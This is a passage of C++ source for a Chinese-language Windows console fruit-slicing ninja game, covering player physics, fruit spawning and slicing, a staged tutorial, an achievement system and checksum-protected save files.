				if(Vx<=0.8*t0&&Vx>-2*t0) Vx+=0.5*t0;
				else if(Vx>=0.8*t0&&Vx<2*t0) Vx+=0.1*t0;
				else if(Vx>=2*t0){
					Vx=2*t0,Attention=1;
					if(up==1) Rush_x0=X,Rush_y0=Y,Rush_X=X+1,Rush_Y=Y-2,Rush=2,RushT2=4,Rush_Vx=1.5,Rush_Vy=-1.5,Jumplock=1;
				}
			}
			if(up==1){
				Vy=-0.6;Walk=0;Jump=1;Jumplock=1;
			}
		}
	}
	if(Jump>=1&&Rush==0){//普通滞空 
	int num=up+dn;
		if(Abs(Vy)<=0.05) Attention=1,AttTime=7;else Attention=0;
		if(num==1&&up==1&&Jump==1&&Attention==0&&AttTime==0&&Jumplock==0&&Jump_2==1){
			if(Vy>-0.2) Vy=-0.4;
			if(Vy<=-0.2) Vy-=0.2;
			Jump=2;//二段跳 
		}
		if(num==1&&dn==1){
			Vy+=0.1; 
		}
		Vy+=G;
	}
	Clear(X,Y);
	if(RushT1>0) int nil=0;
	else if(Rush==1) X+=Rush_Vx*t00,Y+=Rush_Vy*t00;
	else X+=Vx,Y+=Vy;
	
	if(Y<Up||X<Left||X>Right||Y>Down){
		if(Rush>0||RushT3>0)
		{
			if((X<Left||X>Right)&&Rush_Vy==0) Vy=-0.2,Vx=0;
		}
	}
	if(Y<=Up) Y=Up;if(X<=Left) X=Left;if(X>=Right) X=Right;if(Y>=Down) Y=Down;
	Put_Man(X,Y);
}
void CreatF(){
if(clock()-Clocknum>=25) return;
if(FruitNum>=5) return;
	m++;F[m].Life=2;F[m].brounce=1;F[m].half=0;F[m].t=0; 
	int R=rand()%5+1;F[m].Type=R;
	if(R==1) F[m].R=3.45,F[m].color=2;//="Watermelon";
	if(R==2) F[m].R=1.85,F[m].color=4;//="Strawberry";
	if(R==3) F[m].R=2.0,F[m].color=5;//="Orange    ";
	if(R==4) F[m].R=2.45,F[m].color=3;//="Grapes    ";
	if(R==5) F[m].R=1.85,F[m].color=6;//="Blueberry ";
	int r=rand()%6+1;
	if(r<=6) {//上下方 
		F[m].X=Left+(rand()%100)*(Right-Left)/100.0;
		F[m].Vx=1.0-(rand()%100)*2/100.0;
		if(r>1) F[m].Y=Down-1,F[m].Vy=-1-(rand()%100)*1/100.0;
		else F[m].Y=Up+1,F[m].Vy=(rand()%100)*1/100.0;
		F[m].Angle=rand()%360,F[m].AngleSpeed=rand()%20+5;
		if(r>1) F[m].Y+=F[m].R;else F[m].Y-=F[m].R;
	}
}
void Move(int Stage){//移动的状态调整，准备移步至Go函数 
	float x,y,r;FruitNum=0;
	for(int i=l;i<=m;i++){
		
		if(i==l&&F[i].Life==0){l++;if(l>m) l=1,m=0;continue;}
		else if(F[i].Life==0) {continue;}
		if(F[i].Type==-1){F[i].t++;
			if(F[i].t==3) Line(F[i].x0+Rush_Vx,F[i].y0+Rush_Vy,F[i].x1+Rush_Vx,F[i].y1+Rush_Vy,' ',-1);
			if(F[i].t>=4) Line(F[i].x0,F[i].y0,F[i].x1,F[i].y1,' ',0),Line(F[i].x0+Rush_Vx,F[i].y0+Rush_Vy,F[i].x1+Rush_Vx,F[i].y1+Rush_Vy,' ',0),F[i].Life=0;
		continue;}
		if(F[i].Life==2){F[i].t++;
			if(F[i].t>10) {Color(0);x=F[i].X,y=(F[i].Y>=Down)?Down:Up;
			 		M[To_int(x*2)][To_int(y)]=-1;
				F[i].Life=1;}
			else  Color((F[i].t%6<=2)?-4:-5),Setpos(F[i].X,(F[i].Y>=Down)?Down:Up),cout<<"!!";
			Color(0);
			continue;
		}
		Print_Fruit(i,' ');
		if(F[i].half==1) F[i].R*=0.96;
		if(F[i].half==1&&F[i].t>=20){F[i].Life=0;continue;}
		if(F[i].Type>=1&&F[i].Type<=5) FruitNum++;
		
		x=F[i].X,y=F[i].Y,r=F[i].R;
		float D=sqrt((x-X)*(x-X)+(y-Y)*(y-Y)),D2=sqrt((Rush_x0-x)*(Rush_x0-x)+(Rush_y0-y)*(Rush_y0-y));
		if((D<=r*1.0||D2<=r*1.0)&&(Rush!=0||RushT3!=0)&&F[i].half==0) {
		Combo++,Score+=10*Combo;FO=0;
		if(Medal[8]==0&&Rush_Vx==0&&Rush_Vy>0) FXia++;if(FXia>=30) Medal[8]=1,Medal_(); if(Medal[14]==0&&Rush_Vx==0&&Rush_Vy<0) FUp++;if(FUp>=40) Medal[14]=1,Medal_(); 
		if(Medal[3]==0) Medal[3]=1,Medal_();if(Fr[F[i].Type]==0) {Fr[F[i].Type]=1;if(Fr[1]+Fr[2]+Fr[3]+Fr[4]+Fr[5]==5) Medal[4]=1,Medal_();}if(Combo>=15&&Medal[5]==0) Medal[5]=1,Medal_();if(Combo>=40&&Medal[17]==0) Medal[17]=1,Medal_();if(Score==520&&Medal[6]==0) Medal[6]=1,Medal_();
		if(Score>=1000&&Medal[15]==0) Medal[15]=1,Medal_();if(Score>=10000&&Medal[19]==0) Medal[19]=1,Medal_();if(Score>=100000&&Medal[21]==0) Medal[21]=1,Medal_();
		FCF++;if(FCF>=5&&Medal[9]==0) Medal[9]=1,Medal_();if(FCF>=10&&Medal[12]==0) Medal[12]=1,Medal_();
			if(F[i].Y<=Up&&Medal[13]==0) Medal[13]=1,Medal_(); if(F[i].Y>=Down&&Medal[7]==0) Medal[7]=1,Medal_();if(Medal[10]==0) {FFFt++;if(FFFt>10) FFFt-=10;FT[FFFt]=clock();int Kkk=5000;for(int kk=1;kk<=10;kk++) Kkk=max(Kkk,(int)(clock()-FT[kk]));if(Kkk<5000) Medal[10]=1,Medal_();} 
			
			F[i].Life=0;
			for(int tt=1;tt<=3;tt++){
			if(tt==1) for(int t=1;t<=2;t++) m++,F[m].R=F[i].R-0.6+(rand()%10+10)/20.0,F[m].Life=1,F[m].Type=6,F[m].color=4,F[m].brounce=0,F[m].half=1,F[m].X=F[i].X,F[m].Y=F[i].Y,F[m].t=0;
			if(tt==2) for(int t=1;t<=2;t++) m++,F[m].R=F[i].R-0.6+(rand()%10+10)/20.0,F[m].Life=1,F[m].Type=6,F[m].color=F[i].color,F[m].brounce=0,F[m].half=1,F[m].X=F[i].X,F[m].Y=F[i].Y,F[m].t=0;
			if(tt==3) for(int t=1;t<=2;t++) m++,F[m].R=F[i].R-0.4,F[m].Life=1,F[m].Type=F[i].Type,F[m].color=F[i].color+10,F[m].brounce=0,F[m].half=1,F[m].X=F[i].X,F[m].Y=F[i].Y,F[m].t=0;
			if(Rush_Vx!=0&&Rush_Vy==0){//横切 
				int turn=(Rush_Vx>0)?1:-1;
				F[m-1].Angle=180,F[m-1].AngleSpeed=turn*(5+rand()%10),F[m-1].Vx=F[i].Vx+turn*(rand()%10+10)*0.1,F[m-1].Vy=F[i].Vy-(rand()%10+10)*0.05-1;//上 
				F[m].Angle=0,F[m].AngleSpeed=turn*(-5-rand()%10),F[m].Vx = F[i].Vx+turn*(rand()%10+10)*0.1,F[m].Vy = F[i].Vy+(rand()%10+10)*0.05;//下 
			}else if(Rush_Vy!=0&&Rush_Vx==0){//竖切 
				int turn=(Rush_Vy>0)?1:-1;
				F[m-1].Angle=270,F[m-1].AngleSpeed=turn*(5+rand()%10),F[m-1].Vx=F[i].Vx+(rand()%10+10)*0.1,F[m-1].Vy=F[i].Vy+(rand()%10+10)*0.1*turn-0.5;//→ 
				F[m].Angle=90,F[m].AngleSpeed=turn*(-5-rand()%10),F[m].Vx = F[i].Vx-(rand()%10+10)*0.1,F[m].Vy = F[i].Vy+(rand()%10+10)*0.1*turn-0.5;//左 
			}else{
				if(Rush_Vy*Rush_Vx<0){int turn=(Rush_X<0)?1:-1; //右上 
					F[m-1].Angle=135,F[m-1].AngleSpeed=-turn*(5+rand()%10),F[m-1].Vx=F[i].Vx-(rand()%10+10)*0.1,F[m-1].Vy=F[i].Vy-(rand()%10+10)*0.04-1;//上 
					F[m].Angle=315,F[m].AngleSpeed=turn*(5+rand()%10),F[m].Vx=F[i].Vx+(rand()%10+10)*0.1,F[m].Vy=F[i].Vy+(rand()%10+10)*0.04;//下 
				} 
				if(Rush_Vy*Rush_Vx>0){int turn=(Rush_X<0)?1:-1;//左上 
					F[m-1].Angle=225,F[m-1].AngleSpeed=-turn*(5+rand()%10),F[m-1].Vx=F[i].Vx+(rand()%10+10)*0.1,F[m-1].Vy=F[i].Vy-(rand()%10+10)*0.04-1;//上 
					F[m].Angle=45,F[m].AngleSpeed=turn*(5+rand()%10),F[m].Vx=F[i].Vx-(rand()%10+10)*0.1,F[m].Vy=F[i].Vy+(rand()%10+10)*0.04;//下 
				}
			}if(tt<=1) F[m-1].Vx*=1.2,F[m-1].Vy*=1.2,F[m].Vx*=1.2,F[m].Vy*=1.2;
			}
			continue;
		}
		F[i].t++;
		F[i].Angle+=F[i].AngleSpeed;
		if(F[i].Angle>=360) F[i].Angle-=360;
		if(F[i].Angle<0) F[i].Angle+=360;
		
		F[i].X+=F[i].Vx*t000;F[i].Y+=F[i].Vy*t000;
		x=F[i].X,y=F[i].Y;
		
		if(y+F[i].R<Up||y-F[i].R>Down){
			if(F[i].t<=5) {F[i].Vy*=-1;
			if(y+F[i].R<Up) F[i].Y=-F[i].R+Up;
			if(y-F[i].R>Down) F[i].Y=F[i].R+Down;}
		
		F[i].Life=0;continue;}
		if(x<Left||x>Right){
			if(F[i].brounce>0||F[i].t<=5){if(F[i].brounce>0) F[i].brounce--;F[i].Vx*=-1;
				if(x<Left) F[i].X=Left;
				if(x>Right) F[i].X=Right;
			}
			else {F[i].Life=0;continue;}
		}
		if(Stage==0||F[i].Type<=0||F[i].Type>=5) F[i].Vy+=G;
		
		Print_Fruit(i,'*');
	}
}
void Print(){
	for(int i=Left*2;i<=Right*2;i++)
	for(int j=Up;j<=Down;j++){
		if(N[i][j]!=M[i][j]){
			if(N[i][j]==0) Color(0),Setpos(i/2.0,j),printf("  ");
			else Color(-Abs(N[i][j])),Setpos(i/2.0,j),printf("  ");
		}
		M[i][j]=N[i][j];
	}memset(N,0,sizeof(N));Color(0);
}
void Slow(char *p) {while(1){if(*p!=0) printf("%c",*p++);else break;if(!kbhit()) Sleep(20);}}
int speed;
void Start(){Color(1);SS=1;
	Setpos(2,2),cout<<"水果忍胎 0.9 ";
	Setpos(10,3),cout<<"作者：胎神大大";
	Setpos(2,6),cout<<"按 x 进入教学模式，按 y 直接开始游戏！";
	Setpos(2,8),cout<<"除了封面其他的都做好了qwq，但是做封面好麻烦所以说不想做直接发布了   我这边用的 Win11 输出的字符画很流畅，不知道你们电脑会不会有什么黑点阿残影阿输出错误之类的，总之这个游戏玩起来确实蛮爽的！大家加油，看看哪个先点满成就哈（万一有 BUG 呢是吧，毕竟有些成就死活打不出来...另外因为有成就所以说顺便把存档也做了，大家放心打）";
	Setpos(1,20),cout<<"你可根据电脑性能重新选择画面流畅度：默认为 均衡 流畅度，按 q 调为低流畅，按 w 调为中低流畅，按 e 调为极高流畅 （盲目调高流畅度会导致画面卡顿）";speed=4;
	A:char e=_getch();if(e=='y') return;else if(e=='x') int nil=0;else if(e=='q') {speed=10;goto A;}else if(e=='w') {speed=4;goto A;}else if (e=='e') {speed=2;goto A;}else goto A;
	int Stage=0,StageY=0,StageT=0;
	system("cls");memset(N,0,sizeof(N));memset(M,0,sizeof(M));
	Put_Frame();
	T=0;Clocknum=0;X=2;Y=1;Vx=Vy=0;Jump=1;Put_Man(X,Y);//初始状态掉落 
	memset(F,0,sizeof(F));l=m=0;Score=Combo=0;
    while(1) if(clock()-Clocknum>=25)
    {T++;
    	Clocknum=clock();
    	up=dn=lf=rt=0;
        if(GetAsyncKeyState(VK_UP)&0x8000) up=1;else Jumplock=0; 
        if(GetAsyncKeyState(VK_DOWN)&0x8000) dn=1;else Dnlock=0; 
        if(GetAsyncKeyState(VK_LEFT)&0x8000) lf=1;else Lflock=0; 
        if(GetAsyncKeyState(VK_RIGHT)&0x8000) rt=1;else Rtlock=0; 
        if(kbhit()) {char g=_getch();if(g==' ') Sleep(100),Setpos(16,3),sy++,Color(0),system("pause");if(g=='y'&&Stage>=1) StageY=1;if(g=='x'&&Stage==2) Jump_2=1,Setpos(26,26),Color(5),cout<<"开";}
        if(sy>=1) Setpos(16,3),cout<<"                           ",sy=0;
        
        if(Stage==0&&StageT==0){
        	Setpos(2,22),Color(0),Slow("欢迎来到 忍者神胎 教学关卡");Sleep(500);
        	Setpos(2,24),Color(0),Slow("本游戏只有↑↓→←四种按键操作，想必是十分简单的，但又有很大的发挥空间！");Sleep(500);
        	Setpos(2,26),Color(0),Slow("按下↑↓→←进行移动。注：空中按 ↓ 有加速下落的效果");
			StageT=T;	
		}
		if(Stage==0&&T-StageT>=100)//5s
		{Stage++;
        	Setpos(2,22),Color(0),printf("                           ");
        	Setpos(2,24),Color(0),printf("                                                                        ");	
        	Setpos(2,26),Color(0),printf("                                                                ");
        	m++,F[m].Angle=0,F[m].AngleSpeed=0,F[m].color=2,F[m].half=0,F[m].Life=1,F[m].R=3.45,F[m].t=0,F[m].Type=1,F[m].Vx=F[m].Vy=0,F[m].X=16,F[m].Y=13;Print();
        	Setpos(2,22),Color(0),Slow("按↑跳起后，立刻在空中重新  长按 方向键 可以进行挥砍！来试试刀法！");
        	Setpos(2,24),Color(0),Slow("按 y 开启下一阶段教学");
		}
		if(Stage==1&&F[1].Life==1) StageT=T;
		if(Stage==1&&F[1].Life==0&&T-StageT>=20){
			StageT=T;
        	l=0,m++,F[1].Angle=45,F[1].AngleSpeed=0,F[1].color=2,F[1].half=0,F[1].Life=1,F[1].R=3.45,F[1].t=0,F[1].Type=1,F[1].Vx=F[1].Vy=0,F[1].X=16,F[1].Y=13;
		}
        if(StageY==1&&Stage==1){StageY=0;Stage++;memset(M,-1,sizeof(M));memset(N,0,sizeof(N));
        	Setpos(2,22),Color(0);printf("                                                               ");
        	Setpos(2,24),Color(0);printf("                      "); 
        	l=0;for(int tt=1;tt<=3;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0,F[tt].X=16,F[tt].Y=19-tt*5;
        	Print();Setpos(2,22),Color(0),Slow("接下来练习连招！");
        	Setpos(2,24),Color(0),Slow("在空中可以连续按  ↑ 进行多段跳跃，如果你不习惯，可以按 x 开启二段跳能力（PS：连招的秘诀是把握节奏）");
        	Setpos(2,26),Color(0),Slow("按 y 开启下一阶段教学      （ 二段跳能力状态：       ）");
        	Setpos(26,26),Color(5);cout<<"关";
		}
		if(Stage==2&&F[1].Life+F[2].Life+F[3].Life==3) StageT=T;
		if(Stage==2&&F[1].Life+F[2].Life+F[3].Life<3&&T-StageT>=50){
			StageT=T;
        	l=0;for(int tt=1;tt<=3;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0,F[tt].X=16,F[tt].Y=19-tt*5;
        }
        if(StageY==1&&Stage==2){StageY=0;Stage++;memset(M,-1,sizeof(M));memset(N,0,sizeof(N));
        	Setpos(2,22),Color(0),printf("                 ");
        	Setpos(2,24),Color(0),printf("                                                                                                  ");
        	Setpos(2,26),Color(0),printf("                                                          ");
        	l=0;for(int tt=1;tt<=4;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0;
			F[1].X=9,F[1].Y=15.5;F[2].X=17.3,F[2].Y=9.4;F[3].X=9.6,F[3].Y=3.5;F[4].X=17,F[4].Y=1;

        	Print();Setpos(2,22),Color(0);Slow("空中折线跳：先跳起，再在空中向上连续左右冲刺，是一种杀伤面积广，上升距离大的连招");
        	Setpos(2,24),Color(0);Slow("按 y 开启下一阶段教学 （本关四个果子可一个连招砍完，试试精细操作！）"); 
		}
		if(Stage==3&&F[1].Life+F[2].Life+F[3].Life+F[4].Life==4) StageT=T;
		if(Stage==3&&F[1].Life+F[2].Life+F[3].Life+F[4].Life<4&&T-StageT>=50){
			StageT=T;
        
        	l=0;for(int tt=1;tt<=4;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0;
			F[1].X=9,F[1].Y=15.5;F[2].X=17.3,F[2].Y=9.4;F[3].X=9.6,F[3].Y=3.5;F[4].X=17,F[4].Y=1;}
        if(StageY==1&&Stage==3){StageY=0;Stage++;memset(M,-1,sizeof(M));memset(N,0,sizeof(N));
        	Setpos(2,22),Color(0),printf("                                                                                         ");
        	Setpos(2,24),Color(0),printf("                                                                            ");
        	l=0;for(int tt=1;tt<=4;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0;
			F[1].X=15.4,F[1].Y=15.5;F[2].X=7.3,F[2].Y=9.5;F[3].X=15.4,F[3].Y=3.6;F[4].X=15.4,F[4].Y=8.5;

        	Print();Setpos(2,22),Color(0);Slow("三角围杀：先使用折线跳跳至目标上方，再向下瞄准，冲刺切除下方水果");
        	Setpos(2,24),Color(0);Slow("按 y 开启下一阶段教学"); 
		}
		if(Stage==4&&F[1].Life+F[2].Life+F[3].Life+F[4].Life==4) StageT=T;
		if(Stage==4&&F[1].Life+F[2].Life+F[3].Life+F[4].Life<4&&T-StageT>=50){
			StageT=T;
        
        	l=0;for(int tt=1;tt<=4;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0;
			F[1].X=15.4,F[1].Y=15.5;F[2].X=7.3,F[2].Y=9.5;F[3].X=15.4,F[3].Y=3.6;F[4].X=15.4,F[4].Y=8.5;}
        if(StageY==1&&Stage==4){StageY=0;Stage++;memset(M,-1,sizeof(M));memset(N,0,sizeof(N));
        	Setpos(2,22),Color(0),printf("                                                                              ");
        	Setpos(2,24),Color(0),printf("                                                                            ");
        	l=0;for(int tt=1;tt<=4;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0;
			F[1].X=4.7,F[1].Y=15.5;F[2].X=1,F[2].Y=15.5;F[3].X=1,F[3].Y=11;F[4].X=10,F[4].Y=5;

        	Print();Setpos(2,22),Color(0);Slow("撞墙跳：利用平扑撞墙会产生一个小向上速度的特性，将本应断掉的连招接续起来");
        	Setpos(2,24),Color(0);Slow("按 y 开启下一阶段教学 （本关接连招砍绿果、紫果、红果）"); 
		}
		if(Stage==5&&F[1].Life+F[2].Life+F[3].Life+F[4].Life==4) StageT=T;
		if(Stage==5&&F[1].Life+F[2].Life+F[3].Life+F[4].Life<4&&T-StageT>=50){
			StageT=T;
        	l=0;for(int tt=1;tt<=4;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0;
        	F[1].X=4.7,F[1].Y=15.5;F[2].X=1,F[2].Y=15.5;F[3].X=1,F[3].Y=11;F[4].X=10,F[4].Y=5;}
        if(StageY==1&&Stage==5){StageY=0;Stage++;memset(M,-1,sizeof(M));memset(N,0,sizeof(N));
        	Setpos(2,22),Color(0),printf("                                                                                ");
        	Setpos(2,24),Color(0),printf("                                                                            ");
        	l=0;for(int tt=1;tt<=4;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0;
			F[1].X=18,F[1].Y=15;F[2].X=16,F[2].Y=17;F[3].X=24,F[3].Y=13;F[4].X=24,F[4].Y=8;

        	Print();Setpos(2,22),Color(0);Slow("平地起冲：长按 → 加速至变黄，立即再按下  ↑ 可直接起冲，接连招");
        	Setpos(2,24),Color(0);Slow("按 y 开启下一阶段教学 （本关接连招砍紫果、红果）"); 
		}
		if(Stage==6&&F[1].Life+F[2].Life+F[3].Life+F[4].Life==4) StageT=T;
		if(Stage==6&&F[1].Life+F[2].Life+F[3].Life+F[4].Life<4&&T-StageT>=50){
			StageT=T;
        	l=0;for(int tt=1;tt<=4;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0;
        	F[1].X=18,F[1].Y=15;F[2].X=16,F[2].Y=17;F[3].X=24,F[3].Y=13;F[4].X=24,F[4].Y=8;}
        if(StageY==1&&Stage==6){StageY=0;Stage++;memset(M,-1,sizeof(M));memset(N,0,sizeof(N));
        	Setpos(2,22),Color(0),printf("                                                                              ");
        	Setpos(2,24),Color(0),printf("                                                                            ");
        	l=0;for(int tt=1;tt<=4;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0;
			F[1].X=5,F[1].Y=16;F[2].X=10,F[2].Y=19;F[3].X=12,F[3].Y=19;F[4].X=21,F[4].Y=15;

        	Print();Setpos(2,22),Color(0);Slow("凌波微步： 跳起在空中向右下冲击地面，不要松开 →以获得极大的速度，然后重新按下  ↑ ，紧接平地起冲！");
        	Setpos(2,24),Color(0);Slow("按 y 完成教学关卡 （本关蓝果下冲，紫果起跳，接连招砍红果）"); 
		}
		if(Stage==7&&F[1].Life+F[2].Life+F[3].Life+F[4].Life==4) StageT=T;
		if(Stage==7&&F[1].Life+F[2].Life+F[3].Life+F[4].Life<4&&T-StageT>=50){
			StageT=T;
        	l=0;for(int tt=1;tt<=4;tt++) m++,F[tt].Angle=0,F[tt].AngleSpeed=0,F[tt].color=tt,F[tt].half=0,F[tt].Life=1,F[tt].R=1.45,F[tt].t=0,F[tt].Type=1,F[tt].Vx=F[tt].Vy=0;
			F[1].X=5,F[1].Y=16;F[2].X=10,F[2].Y=19;F[3].X=12,F[3].Y=19;F[4].X=21,F[4].Y=15;
        }
        if(StageY==1&&Stage==7) return;
        
		if(RushT1==0) Move(1);
        Go();
		if(RushT1==0&&T%speed==0) Print();
}
}
void Read(){
    ifstream in("水果忍胎存档.in");int Xx=0,Yy;
    for(int i=0;i<=21;i++) in>>Medal[i],Xx+=345*(2*i+1)*Medal[i];
    in>>Yy>>Score>>Combo>>T>>FXia>>FUp;if(Yy!=Xx) Cheat=1;
    in.close();
}
void Save(){
    ofstream out("水果忍胎存档.in");int Xx=0;
    for(int i=0;i<=21;i++) out<<Medal[i]<<' ',Xx+=345*(2*i+1)*Medal[i];
    out<<Xx<<' '<<Score<<' '<<Combo<<' '<<T<<' '<<FXia<<' '<<FUp;
    out.close();
}
void Medal_(){if(SS==1) return;
	if(Cheat==1) Setpos(33,0),Color(4),printf("检测到您更改过存档，你的存档已不可用。"),memset(Medal,0,sizeof(Medal));
	Setpos(33,1),Color(0),printf("[成就系统]  （按 c 可以存档 d 读档）");int rr=0;
	Setpos(34,3);if(Medal[3]==1) Color(5),rr++;else Color(7);printf("[出刀！]   完成一次切割");
	Setpos(34,4);if(Medal[7]==1) Color(5),rr++;else Color(7);printf("[绝杀]     在底线处完成一次切割");
	Setpos(34,5);if(Medal[4]==1) Color(5),rr++;else Color(7);printf("[全图鉴]   切割全部五种水果");
	Setpos(34,6);if(Medal[5]==1) Color(5),rr++;else Color(7);printf("[闪光]     达到十五 COMBO");   
	Setpos(34,7);if(Medal[6]==1) Color(5),rr++;else Color(7);printf("[回眸]     精准达到 520 分");  
	Setpos(34,8);if(Medal[8]==1) Color(5),rr++;else Color(7);printf("[柴刀]     下劈劈裂水果三十次");
	Setpos(34,9);if(Medal[9]==1) Color(5),rr++;else Color(7);printf("[连锁反应] 一次腾空中切割五个水果");
	Setpos(34,10);if(Medal[10]==1) Color(5),rr++;else Color(7);printf("[霹雳]     五秒钟切割十个水果");
	Setpos(34,11);if(Medal[11]==1) Color(5),rr++;else Color(7);printf("[征服者]   进行五分钟游戏");
	Setpos(34,12);if(Medal[12]==1) Color(5),rr++;else Color(7);printf("[神来之笔] 一次腾空中切割十个水果");
	Setpos(34,13);if(Medal[13]==1) Color(5),rr++;else Color(7);printf("[天封]     在最高线处完成一次切割");
	Setpos(34,14);if(Medal[14]==1) Color(5),rr++;else Color(7);printf("[升龙]     上劈劈裂水果四十次");
	Setpos(34,15);if(Medal[15]==1) Color(5),rr++;else Color(7);printf("[小忍者]   达到一千分");
	Setpos(34,16);if(Medal[16]==1) Color(5),rr++;else Color(7);printf("[八连]     一次腾空中冲刺八次（有巧解）");   
	Setpos(34,17);if(Medal[17]==1) Color(5),rr++;else Color(7);printf("[连诀]     达到四十 COMBO");   
	Setpos(34,18);if(Medal[18]==1) Color(5),rr++;else Color(7);printf("[幸存者]   连续十次空刀（请勿点亮）");    
	Setpos(34,19);if(Medal[19]==1) Color(5),rr++;else Color(7);printf("[水果杀手] 达到一万分");
	Setpos(34,20);if(Medal[20]==1) Color(5),rr++;else Color(7);printf("[虎翅]     腾空十秒");   
	Setpos(34,21);if(Medal[21]==1) Color(5),rr++;else Color(7);printf("[你疯了?!] 达到十万分");
	Setpos(34,22);if(rr>=19) Medal[22]=1;if(Medal[22]==1) Color((T%4<=1)?-4:-5);else Color(7);printf("[传说]     达成全部成就");   
}
int main(){	
    CONSOLE_CURSOR_INFO cursor_info={1,0};
    SetConsoleCursorInfo(GetStdHandle(STD_OUTPUT_HANDLE),&cursor_info);
    srand((unsigned)time(NULL));
    Start();
	ST:SS=0;
	system("cls");memset(N,0,sizeof(N));memset(M,0,sizeof(M));FC=FCF=FCT=FO=FFFt=FXia=FUp=0;memset(FT,0,sizeof(FT));memset(Medal,0,sizeof(Medal));
	Put_Frame();Medal_();
	T=0;Clocknum=0;X=2;Y=1;Vx=Vy=0;Jump=1;Put_Man(X,Y);//初始状态掉落 
	memset(F,0,sizeof(F));l=m=0;Score=Combo=0;
    Setpos(2,-3),Color(1),cout<<"本游戏为休闲模式，没有目标分数，请尽情享受切水果的酣爽盛宴！(空格可以暂停)";Medal_();
    while(1) if(clock()-Clocknum>=25)
    {T++;if(T>11000&&Medal[11]==0) Medal[11]=1,Medal_();
    	Clocknum=clock();
    	up=dn=lf=rt=0;
        if(GetAsyncKeyState(VK_UP)&0x8000) up=1;else Jumplock=0; 
        if(GetAsyncKeyState(VK_DOWN)&0x8000) dn=1;else Dnlock=0; 
        if(GetAsyncKeyState(VK_LEFT)&0x8000) lf=1;else Lflock=0; 
        if(GetAsyncKeyState(VK_RIGHT)&0x8000) rt=1;else Rtlock=0; 
        if(kbhit()) {char g=_getch();if(g==' ') Sleep(100),Setpos(16,3),sy++,Color(0),system("pause");if(g=='c') Save(),system("color 6E"),Sleep(1000),system("color 0F");if(g=='d') Read(),system("color 6E"),Sleep(1000),system("color 0F"),Medal_();}
        if(sy>=1) Setpos(16,3),cout<<"                           ",sy=0;
        
		if(RushT1==0) Move(0);
        Go();
		if(RushT1==0&&T%speed==0) Print();
        
        if(clock()-Clocknum>=25) continue;
        if(T>=50&&T<=200&&T%15==5) CreatF();
		if(T>=300&&T<2000&&T%80==5) CreatF();
		else if(T>=2000&&T<3000&&T%70==5) CreatF();
		else if(T>=3000&&T<4000&&T%50==5) CreatF();
		else if(T>=4000&&T%30==5) CreatF();
		if(T>=1500&&T%80==5) CreatF();
		if(Combo>=10&&T%80==40) CreatF();
	if((Combo<10&&T%140==0)||(Combo>=10&&Combo<20&&T%100==0)||(Combo>=20&&T%70==0)) Combo--;Combo=max(0,Combo);
    if(Rush==1||AttTime>0||Attention==1) Color(5);else Color(1);Setpos(2,-2),printf("积分：%-4d ",Score);
	if(Combo>=15) Color((T%4<=1)?-4:-5); printf("  连击 %-3dCOMBO !!  ",Combo);
	if(Rush==1||AttTime>0||Attention==1) Color(5);else Color(1);printf(" 用时：%d ",T);Color(0);
    }
    return 0;
}

蛋仔派对，启！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！动！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！！

